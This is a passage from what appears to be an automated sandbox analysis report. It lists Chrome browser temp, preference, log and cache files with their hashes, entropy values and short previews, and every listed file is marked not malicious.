SHA-512:	DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321101
Malicious:	false
Reputation:	low
Preview:	BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GMDS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

C:\Users\user\AppData\Local\Google\Chrome\User Data\3995d804-3e44-4a0a-a632-61321a136783.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	177374
Entropy (8bit):	6.047568426700161
Encrypted:	false
SSDEEP:	3072:SYJVdrQb+8ktzqbVehdMai2IO8evnQ16rYOFcbXafIB0u1GOJmA3iuRl:3rd0hqhdMNnOvBraqfIlUOoSiuRl
MD5:	45734145197FE29F6445D9D41E0DC1EA
SHA1:	3F0E22199A377367D35CDA6A4F418607A653745F
SHA-256:	A196FF283DA29A2F55219E935E2D975E4795D7210D5C13F9DCF1E213F56FE65A
SHA-512:	B7D3F421C3478E809C81B6A44D3AC4A82F1ECBD7CB7CE3364350C4885B979F1EACC32FEC93A517546FAC4C3D75D8F92E425FD02744005857F395E609C2AB648D
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635211041003527e+12,"network":1.635178642e+12,"ticks":134016694.0,"uncertainty":3778021.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13276832799728044"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\400a077f-06f6-45e3-94eb-0bd6e41bf110.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	185747
Entropy (8bit):	6.076597897590947
Encrypted:	false
SSDEEP:	3072:ozxYJVdrQb+8ktzqbVehdMai2IO8evnQ16rYOFcbXafIB0u1GOJmA3iuRl:A2rd0hqhdMNnOvBraqfIlUOoSiuRl
MD5:	3D896F5911622EEB950BE36094173680
SHA1:	9AB02C8A7996236AC1E89F8DB372F41D68A13C5A
SHA-256:	81AF1D9753FF9227C9E30BD66BCEEE2C47D2618559AB45C936EB1EB2FBB94D04
SHA-512:	0AF223F45168950BA8AB8A0114D9FE883CED6F71E29E607846C70A9DCAC14458873F87B56F7A38AC15D6F93D6C286AA64BA39D77D7758342D5A644A5DA678496
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635211041003527e+12,"network":1.635178642e+12,"ticks":134016694.0,"uncertainty":3778021.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\47bef7ca-02ff-403a-ac1f-ea639e9c31e4.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SysEx File -
Category:	dropped
Size (bytes):	94708
Entropy (8bit):	3.7429408286243255
Encrypted:	false
SSDEEP:	384:9nelNToibAz7VU6poNJrCvNX3mpniHzeGatrYLxNxm3fj+r8dmsPoHZJxmOTD5N5:9a2xVKbCaQeLxXboH72TKVbBJZ
MD5:	CD7BC45E6348892032B8B2141DEA7457
SHA1:	C9EE8694B26A114EA1AEC1E82B00FE6E05AA10F3
SHA-256:	CA42834CEE090D52DDDB01B3FCE5E26E77BAA6399706057FF1DD44CB7A44634B
SHA-512:	00E2DEE63C1C8AC1DF32D61D62CC39F373DD1CD02C5AC191BC5A1D6F22D0DB44034D6FC47A6100B70799E247D2A061A4A6AC28BBE6CDE23195098A9FD3C98367
Malicious:	false
Reputation:	low
Preview:	.q.................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...aI8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\5c632ee2-5244-48c9-9b1a-a9e8df73c0fb.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	177374
Entropy (8bit):	6.047568426700161
Encrypted:	false
SSDEEP:	3072:SYJVdrQb+8ktzqbVehdMai2IO8evnQ16rYOFcbXafIB0u1GOJmA3iuRl:3rd0hqhdMNnOvBraqfIlUOoSiuRl
MD5:	45734145197FE29F6445D9D41E0DC1EA
SHA1:	3F0E22199A377367D35CDA6A4F418607A653745F
SHA-256:	A196FF283DA29A2F55219E935E2D975E4795D7210D5C13F9DCF1E213F56FE65A
SHA-512:	B7D3F421C3478E809C81B6A44D3AC4A82F1ECBD7CB7CE3364350C4885B979F1EACC32FEC93A517546FAC4C3D75D8F92E425FD02744005857F395E609C2AB648D
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635211041003527e+12,"network":1.635178642e+12,"ticks":134016694.0,"uncertainty":3778021.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13276832799728044"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\5fd46fef-ecc2-43ee-b79a-8f1b7578cdd6.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	95428
Entropy (8bit):	3.742707489473484
Encrypted:	false
SSDEEP:	384:tnelNToibAz7VU6poNJrCvNX3mpniHzeGatrYLxNxm3fj+r8dms4+oHZJxmOTD53:Na2xVKboaQeLxXboH72TKVbBJN
MD5:	7C979B3515C33C2E3F9C398C6D58B5E4
SHA1:	F03929D6C61869BDE84F63AF5F955B53FF493955
SHA-256:	574185132EB08DF6EB2280110A4833D9185A5D7B18270F13A094C696955B9E30
SHA-512:	876BF4070BB4F663BD96D3F4F315C7CC774AE16F46FE7CC8A770580D9C00D0A930C1F5F27350347C486FE88A9B1B0E512EB8F5BFEF0D5C5D70DCD2CEF044EBA2
Malicious:	false
Reputation:	low
Preview:	.t.................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...aI8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\98d83354-ff01-4db0-8b41-0010d52c1a29.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	177280
Entropy (8bit):	6.047297675426721
Encrypted:	false
SSDEEP:	3072:fYJVdrQb+8ktzqbVehdMai2IO8evnQ16rYOFcbXafIB0u1GOJmA3iuRl:Qrd0hqhdMNnOvBraqfIlUOoSiuRl
MD5:	80E37A304E6F0906D0027E1A50E94491
SHA1:	0EE44334B54A922A4A10EA94FEE85A85B572F538
SHA-256:	C29110020F70113EA52367EFC130A7E8ACC5EC322752748B7CDF35ACB06A9A57
SHA-512:	1162B8EF660BD94A18FB4651C9DF633248120499B3149C61844DBEDC35927CC1A20882ED0753DA03CFA718A05EE1D96F2DCCDF7CE70C626B7CFB7457B9D0F878
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635211041003527e+12,"network":1.635178642e+12,"ticks":134016694.0,"uncertainty":3778021.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13276832799728044"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.254162526001658
Encrypted:	false
SSDEEP:	3:FkXft0xE1n:+ftIE1n
MD5:	BD4642AD6C750A12D912B20BCB92E14D
SHA1:	C549F0F48FDD4FBC62E51AC26D7E185160CE2123
SHA-256:	4FD71FE78DFE203137C89C9FB0734358FF432F2BC83338112DC7B830F9B30F2C
SHA-512:	04410D12EF327614C3AF1251C9906BFEB2977211A7F53CBB08A8C01F9465A382CD001E51AB936A0D196D359F1DECDDAEAF5E7D1DBD49CE5F4FF91BF5C332B6CF
Malicious:	false
Reputation:	low
Preview:	sdPC....................s}.....M..2.!..%

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\43837469-081e-4644-b83a-0d100ca5d51d.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5246
Entropy (8bit):	4.994440913882867
Encrypted:	false
SSDEEP:	96:nY8Cl3G99pcKILok0JCKL8QkA1LbOTQVuwn:njCQ9pck4KrkA1
MD5:	0C26544F020118260F415576A47B5787
SHA1:	C71748C1653841AE9489C8BBA4A049F9C0D148BD
SHA-256:	0EF94E5BF23A3180CF88D79FF8AB570B065326559A3365C7E463D9747AA1A2A3
SHA-512:	2578A2EBBAC9E6B9BCB29AE1E180375A5049BBF3291EB5C6C67D52FC7E1EECE27909871A9380C998162703B1B73E361B63255A502261FC7B049CDCE1CD3702C8
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279684639611036","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5c7d3c80-35f7-4dbc-9484-f79d3e07be0e.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	low
Preview:	.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6db2d3e2-b12d-4753-a36a-3904db282014.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5869
Entropy (8bit):	5.195307938892697
Encrypted:	false
SSDEEP:	96:nY8Cl3e995q8ct8cKILok0JCKL8QkA1UbOTQVuwn:njC095B28ck4KrkAE
MD5:	C0098EAF7CFDCB8CD45A3F1386EFA362
SHA1:	0406B45E85DEA86FDE0307D8E430F6D62148ED07
SHA-256:	D4E97EF666C59BC3B6792E6ECD74FA932A7F6EFE013EB11E46EF37BDDCF80C1A
SHA-512:	383B2A3E1DB84807757045EF5EC4776FF366B70BCB8A7366BFD837E6B355A2BB9397A7041331EA26B98A597A03901EA01B8CE3933AD60A9EBDB75E0F8FB0C14C
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279684639611036","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	2642
Entropy (8bit):	4.931732465818912
Encrypted:	false
SSDEEP:	48:Y2TntwXGDH3qz5sAGs2RLsBCrq9sMRscO7sk5saMHkYdseMHIMHKUDYhbD:JTnOXGDHaz/IJr4nO1pGVGIGKjhH
MD5:	4D2806DA3AA743750E56DA11560ADE1F
SHA1:	D0CEC495EF3EE8981234CF43EE94B42E441632E5
SHA-256:	485661F34B6AA865CC4CB4794F2ACAFF6072402172FE2C97E6399972D8B4D1EB
SHA-512:	F532BFDF6C660E4F4D4987AF8E1362BFD6A6D8D4C0717FBBB50621C890DDF8561096416DD4D8B732628A66F34D25B96A95B58862D36B98276E05227BBE99AE4B
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13282276641673104","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advertised_versions":[50],"expiration":"13282276641679333","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},{"al

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2733469164434545
Encrypted:	false
SSDEEP:	6:maaI3+q2PWXp+N23iKKdK9RXXTZIFUtna8BlWZmwBaOVkwOWXp+N23iKKdK9RXXH:paE+va5Kk7XT2FUtna8B4/BaOV5f5KkT
MD5:	B9B43FA61D870E684E9DB9E17B4B8898
SHA1:	827B47F8D7CA5D873FDFF63B86D5863EAA4B8376
SHA-256:	195723367F9AD8E3F2DEFD61AF001A999EAF623C9C7B96A3E431863C4BF0CC1B
SHA-512:	6007E1FCF285511B3A188C3700A19749AEF2BF05627CCFA7F2E24866D04B61491FC22DF8CFD329E446B8143ABA0AB55177888F33D311A66FA6A040549D970E11
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.588 d0c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/10/25-18:17:36.590 d0c Recovering log #3.2021/10/25-18:17:36.591 d0c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2733469164434545
Encrypted:	false
SSDEEP:	6:maaI3+q2PWXp+N23iKKdK9RXXTZIFUtna8BlWZmwBaOVkwOWXp+N23iKKdK9RXXH:paE+va5Kk7XT2FUtna8B4/BaOV5f5KkT
MD5:	B9B43FA61D870E684E9DB9E17B4B8898
SHA1:	827B47F8D7CA5D873FDFF63B86D5863EAA4B8376
SHA-256:	195723367F9AD8E3F2DEFD61AF001A999EAF623C9C7B96A3E431863C4BF0CC1B
SHA-512:	6007E1FCF285511B3A188C3700A19749AEF2BF05627CCFA7F2E24866D04B61491FC22DF8CFD329E446B8143ABA0AB55177888F33D311A66FA6A040549D970E11
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.588 d0c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/10/25-18:17:36.590 d0c Recovering log #3.2021/10/25-18:17:36.591 d0c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.241725355263398
Encrypted:	false
SSDEEP:	6:maaHi+q2PWXp+N23iKKdKyDZIFUtnaSWZmwBaLIVkwOWXp+N23iKKdKyJLJ:paHi+va5Kk02FUtnat/BaLIV5f5KkWJ
MD5:	A67C1E832B1401B76606F4FC1616ABAF
SHA1:	DBE0EA47A3FA671E90951FEEA03670039F31FE81
SHA-256:	7E4CC92D22ED59283374C21711ECE51FB320486F1C045DB82FBBBDAB92ADF4EB
SHA-512:	71FBE020E0A7C2439E6C196B326008C119F28A977CE191B4454D7122F77D8C47F2F6FFC37846B2AA531B724A33C2DDED7EC2ADDC5AA4BD85825D2D6D613D4CE1
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.568 d0c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/10/25-18:17:36.570 d0c Recovering log #3.2021/10/25-18:17:36.571 d0c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.241725355263398
Encrypted:	false
SSDEEP:	6:maaHi+q2PWXp+N23iKKdKyDZIFUtnaSWZmwBaLIVkwOWXp+N23iKKdKyJLJ:paHi+va5Kk02FUtnat/BaLIV5f5KkWJ
MD5:	A67C1E832B1401B76606F4FC1616ABAF
SHA1:	DBE0EA47A3FA671E90951FEEA03670039F31FE81
SHA-256:	7E4CC92D22ED59283374C21711ECE51FB320486F1C045DB82FBBBDAB92ADF4EB
SHA-512:	71FBE020E0A7C2439E6C196B326008C119F28A977CE191B4454D7122F77D8C47F2F6FFC37846B2AA531B724A33C2DDED7EC2ADDC5AA4BD85825D2D6D613D4CE1
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.568 d0c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/10/25-18:17:36.570 d0c Recovering log #3.2021/10/25-18:17:36.571 d0c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_0 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.12565886213280678
Encrypted:	false
SSDEEP:	12:dheROvN0hNlIb5Rbvadf6E5nt6uIoasWcWY59pPuZPL:doouiPvadf6Ot6uWcD5fmZj
MD5:	FFA1E10F04873F893A17646C25246C9A
SHA1:	4953F75A049713C79FC30EEE0F8AD5186FBE22DD
SHA-256:	1566D548AF61174CD7B1746EB57B16F56005D168726FD646AEAFC51454BEA8A1
SHA-512:	019F81798A24BDBC83E9349CA6EAE6F6D1C67BCCB58AFB0652BA1B0232E86BD7050F500F94BA55933A06F74CC2731DD66A74E59F3A20A6B9C6383DE0AE65C4EE
Malicious:	false
Reputation:	low
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.09579449792861866
Encrypted:	false
SSDEEP:	48:WhwoqneL+Q9sSpH7m4VjF/OUmUd9I2kCt00OM+BXYNU9S7YlqE0:WhLgef++bPBFcTv50xWYOci
MD5:	9F669843B39959F05100EBC37251949E
SHA1:	BC5D25FD11301E3EE0E4C02F6FEFDC33E283E300
